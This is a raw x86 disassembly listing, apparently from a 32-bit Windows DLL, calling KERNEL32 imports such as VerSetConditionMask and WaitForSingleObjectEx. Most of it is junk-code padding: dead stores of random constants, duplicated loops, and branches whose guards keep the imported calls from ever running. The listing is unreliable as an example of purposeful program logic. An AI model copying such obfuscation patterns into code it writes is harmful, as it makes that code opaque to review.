mov dword [ebp - 0x2c], 0xad706983
mov dword [ebp - 0x2c], 0xff0f9ab1
mov dword [ebp - 0x2c], 0xc7d87010
mov dword [ebp - 0x2c], 0x61f0846d
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ecx
jge 0x1002f51a
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xd28], 0x327c
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x1002f502
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
jge 0x1002f53a
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xe94], 0x44d9913d
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x1002f522
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1002f55c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x119c], 0xaa3630dd
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x1002f543
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
jge 0x1002f57c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x344], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x1002f564
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002f6b3
mov dword [ebp - 0x14], 0x3edb3952
or edx, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x24], eax
jmp 0x1002f5b1
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf9c], 0xc40a98ce
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002f5a0
mov eax, dword [ebp - 0x1c]
push 0xfffffffffffffff7
pop ecx
mov eax, dword [ebp + eax*4 - 0xd28]
mov dword [ebp - 0x34], 0x74d
mov eax, dword [ebp - 0xf9c]
sub ecx, eax
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
add edx, ecx
dec dword [ebp - 0x30]
cmp eax, edx
jge 0x1002f5e5
mov ecx, edi
jmp 0x1002f5e9
xor eax, eax
mov ecx, eax
mov eax, 0xc193
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd28]
cmp eax, edi
sete cl
xor eax, eax
cmp ecx, 0x66593c39
jg 0x1002f62e
cmp dword [ebp - 0x3c], eax
je 0x1002f62e
mov eax, edi
cmp eax, dword [ebp - 0x14]
jne 0x1002f646
xor eax, eax
cmp dword [ebp - 0xf90], eax
je 0x1002f648
cmp dword [ebp - 0x3c], eax
je 0x1002f648
mov ecx, edi
jmp 0x1002f64a
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd28]
add eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002f6a4
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x24], eax
jmp 0x1002f68e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5a0], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002f681
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1002f675
dec dword [ebp - 0x1c]
push 0
pop eax
push 4
pop ecx
jns 0x1002f58b
dec dword [ebp - 0x344]
mov dword [ebp - 0x1c], 0xcb363f9e
mov dword [ebp - 0x30], 0x7909
mov dword [ebp - 0x54], 0x27f08e22
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], 0xb6890635
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002f6f8
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3a4], 0x9d221e9c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002f6e0
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002f70e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x524], 8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002f6fd
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x3a4]
mov esi, dword [ebp - 0x3a4]
cmp dword [ebp - 0x1c], 0x9beab1d6
mov ebx, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
setl cl
xor edx, edx
cmp esi, ecx
setle dl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x34]
jg 0x1002f815
mov dword [ebp - 0x30], 0xfffffffe
xor eax, eax
push 3
pop esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x3c], 0x7ad46d2
mov dword [ebp - 0x2c], 0x2129e5e2
mov dword [ebp - 0x24], 0xd96456cf
mov dword [ebp - 0x14], eax
jmp 0x1002f7aa
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13b0], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f79d
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x39c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x58]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
add edx, 0xbc66c7
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp ecx, eax
setne dl
add edx, dword [ebp - 0x54]
neg edx
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x58], edx
inc dword [ebp - 0x24]
xor eax, eax
jmp 0x1002f88a
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0x14], eax
jg 0x1002f83b
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x1002f83d
cmp dword [ebp - 0x30], eax
je 0x1002f83d
mov edx, edi
jmp 0x1002f83f
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3a4]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x524]
setne cl
xor edx, edx
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x3c], 0xffa2
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x3c], edx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f887
push eax
push 0x1b1
push eax
push eax
call ebx
xor eax, eax
push 3
pop esi
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0x1b76e1ee
mov dword [ebp - 0x34], 0xc9bf5e4d
mov dword [ebp - 0x44], 0x2542
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], 0x4aca62e2
mov dword [ebp - 0x2c], 0x18e8dce9
mov dword [ebp - 0x2c], 0xfffffffb
push 4
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], edi
push 5
pop edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xe7924a04
mov dword [ebp - 0x2c], 0xe0ad50a0
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x2c], 0x48eca1ae
mov dword [ebp - 0x2c], 0xd2d97b6e
mov dword [ebp - 0x2c], 0xc31937da
mov dword [ebp - 0x2c], 0x43232af7
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xad706983
mov dword [ebp - 0x2c], 0xff0f9ab1
mov dword [ebp - 0x2c], 0xc7d87010
mov dword [ebp - 0x2c], 0x61f0846d
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ecx
jge 0x1002f93f
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xbe8], 0x327c
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x1002f927
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
jge 0x1002f95f
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xe54], 0x44d9913d
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x1002f947
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1002f981
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1244], 0xaa3630dd
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x1002f968
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
jge 0x1002f9a1
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x358], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x1002f989
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1002fadb
mov dword [ebp - 0x14], 0x3edb3952
or edx, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x24], eax
jmp 0x1002f9d3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xfdc], 0xc40a98ce
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002f9c2
mov eax, dword [ebp - 0x1c]
push 0xfffffffffffffff7
pop ecx
mov eax, dword [ebp + eax*4 - 0xbe8]
mov dword [ebp - 0x34], 0x74d
mov eax, dword [ebp - 0xfdc]
sub ecx, eax
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
add edx, ecx
dec dword [ebp - 0x30]
cmp eax, edx
jge 0x1002fa07
mov ecx, edi
jmp 0x1002fa0b
xor eax, eax
mov ecx, eax
mov eax, 0xc193
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xbe8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xbe8]
cmp eax, edi
sete cl
xor eax, eax
cmp ecx, 0x66593c39
jg 0x1002fa50
cmp dword [ebp - 0x3c], eax
je 0x1002fa50
mov eax, edi
cmp eax, dword [ebp - 0x14]
jne 0x1002fa68
xor eax, eax
cmp dword [ebp - 0xfd0], eax
je 0x1002fa6a
cmp dword [ebp - 0x3c], eax
je 0x1002fa6a
mov ecx, edi
jmp 0x1002fa6c
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xbe8]
add eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x1002facc
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002fabb
push 5
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5a8], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002faa9
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1002fa97
dec dword [ebp - 0x1c]
push 0
pop eax
push 4
pop ecx
jns 0x1002f9ad
dec dword [ebp - 0x358]
mov dword [ebp - 0x1c], 0xcb363f9e
mov dword [ebp - 0x30], 0x7909
mov dword [ebp - 0x54], 0x27f08e22
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], 0xb6890635
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002fb20
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3d4], 0x9d221e9c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002fb08
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002fb36
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x530], 8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002fb25
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x3d4]
mov esi, dword [ebp - 0x3d4]
cmp dword [ebp - 0x1c], 0x9beab1d6
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
setl cl
xor edx, edx
cmp esi, ecx
setle dl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x34]
jg 0x1002fc35
mov dword [ebp - 0x30], 0xfffffffe
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x3c], 0x7ad46d2
mov dword [ebp - 0x2c], 0x2129e5e2
mov dword [ebp - 0x24], 0xd96456cf
mov dword [ebp - 0x14], eax
jmp 0x1002fbcc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13c8], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002fbbf
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x3cc]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x58]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
add edx, 0xbc66c7
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp ecx, eax
setne dl
add edx, dword [ebp - 0x54]
neg edx
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x58], edx
inc dword [ebp - 0x24]
jmp 0x1002fca5
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3d4]
cmp dword [ebp - 0x14], eax
jg 0x1002fc5b
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x1002fc5d
cmp dword [ebp - 0x30], eax
je 0x1002fc5d
mov edx, edi
jmp 0x1002fc5f
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3d4]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x530]
setne cl
xor edx, edx
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x3c], 0xffa2
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x3c], edx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002fca7
push eax
push 0x1b1
push eax
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x1c], 0xcb363f9e
mov dword [ebp - 0x30], 0x7909
mov dword [ebp - 0x54], 0x27f08e22
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], 0xb6890635
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1002fce8
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3b0], 0x9d221e9c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1002fccf
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002fcfe
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5b0], 8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002fced
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x3b0]
mov esi, dword [ebp - 0x3b0]
cmp dword [ebp - 0x1c], 0x9beab1d6
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
setl cl
xor edx, edx
cmp esi, ecx
setle dl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x34]
jg 0x1002fdff
mov dword [ebp - 0x30], 0xfffffffe
xor eax, eax
mov dword [ebp - 0x58], 3
mov dword [ebp - 0x3c], 0x7ad46d2
mov dword [ebp - 0x2c], 0x2129e5e2
mov dword [ebp - 0x24], 0xd96456cf
mov dword [ebp - 0x14], eax
jmp 0x1002fd95
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13e0], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002fd88
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x3a8]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x58]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
add edx, 0xbc66c7
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp ecx, eax
setne dl
add edx, dword [ebp - 0x54]
neg edx
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x58], edx
inc dword [ebp - 0x24]
jmp 0x1002fe6f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x14], eax
jg 0x1002fe25
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x1002fe27
cmp dword [ebp - 0x30], eax
je 0x1002fe27
mov edx, edi
jmp 0x1002fe29
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3b0]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5b0]
setne cl
xor edx, edx
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x3c], 0xffa2
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x3c], edx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002fe71
push eax
push 0x1b1
push eax
push eax
call ebx
xor eax, eax
or ebx, 0xffffffff
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0x4d0289a6
mov dword [ebp - 0x44], 0xa75a
mov dword [ebp - 0x34], 0x89b4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002feae
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xaf8], 0x9d19ac19
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002fe95
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jge 0x1002fed1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xeb4], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002feb9
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002fee7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb10], 0xd3ecf04b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002fed6
mov eax, dword [ebp - 0x34]
push 5
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0xeb0], eax
jne 0x1002ff04
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xaf4]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xaf4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xb10]
mov eax, dword [ebp - 0xaf4]
dec dword [ebp - 0xb10]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0x715c
mov dword [ebp - 0x44], 0xbf495e3b
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], edi
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x92c], ecx
mov dword [ebp - 0x928], ecx
mov dword [ebp - 0x924], ecx
mov dword [ebp - 0x920], ecx
mov dword [ebp - 0x48], 0x91f13110
mov dword [ebp - 0x34], 0x3bd3a577
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0xffffffe5
cmp dword [ebp - 0x14], 0xfffffffd
jl 0x10030162
push 8
mov esi, 0x253674f9
xor eax, eax
pop edx
mov dword [ebp - 0x28], 0x761ac7eb
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x54], 0x925b974d
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x91c], edx
mov dword [ebp - 0x918], edx
mov dword [ebp - 0x914], edx
mov dword [ebp - 0x910], edx
mov dword [ebp - 0x1c], 0xf
cmp dword [ebp - 0x1c], 0x1d
je 0x10030152
mov dword [ebp - 0x34], 0x9f0dc4b6
mov dword [ebp - 0xb98], esi
mov dword [ebp - 0xb94], esi
mov dword [ebp - 0xb90], esi
mov dword [ebp - 0xb8c], esi
mov dword [ebp - 0x44], 0xe26e
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x30]
cmp eax, ecx
jl 0x10030030
mov edx, edi
jmp 0x10030034
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x92c]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0xb90], ecx
mov eax, dword [ebp - 0x910]
xor eax, eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x58]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
add ecx, dword [ebp - 0x91c]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x92c]
setl cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setge dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x28]
setg cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
add edx, dword [ebp - 0x18]
cmp edx, 0x15809f11
setge al
add eax, dword [ebp - 0x48]
je 0x100300fd
xor eax, eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x3c]
add eax, 0xffff5b80
neg eax
sbb eax, eax
inc eax
sub ecx, eax
xor eax, eax
add ecx, dword [ebp - 0x34]
cmp ecx, 0xa45c
setne al
mov dword [ebp - 0x18], eax
jmp 0x1003013a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1003011b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5b8], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10030107
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030131
push edi
push 0x1977
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x40]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1d
push 0xfffffffffffffffc
pop ecx
jne 0x1002ffe3
push 8
xor eax, eax
pop edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffd
jge 0x1002ffa3
push 2
pop esi
xor eax, eax
mov dword [ebp - 0x48], 0x8acc4b7c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003018d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21c], 0x7ddc85f7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030174
xor eax, eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xfffffff4
jge 0x10030200
mov dword [ebp - 0x44], edi
xor ecx, ecx
mov dword [ebp - 0x48], 0xc58bdfad
mov eax, dword [ebp - 0x214]
cmp eax, 0xfffffffd
setge cl
cmp dword [ebp - 0x214], ecx
jne 0x100301d3
mov eax, dword [ebp - 0x214]
sub eax, dword [ebp - 0x214]
mov dword [ebp - 0x48], eax
jne 0x100301d3
xor eax, eax
mov ecx, eax
jmp 0x100301d5
mov ecx, edi
mov eax, dword [ebp - 0x214]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x48], ecx
dec dword [ebp - 0x214]
cmp dword [ebp - 0x214], 0xfffffff4
jl 0x1003019c
xor eax, eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0x17
jmp 0x10030281
mov dword [ebp - 0x14], 0xa876e6ba
mov dword [ebp - 0x1c], 0xec79cf18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffef
je 0x10030253
mov dword [ebp - 0x1c], eax
jmp 0x10030238
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1078], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003022b
mov eax, dword [ebp - 0x1074]
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffef
push 0
pop eax
jne 0x10030226
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffe3
jle 0x1003027e
mov dword [ebp - 0x48], 0xaa96141e
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jg 0x1003025c
xor eax, eax
dec dword [ebp - 0x24]
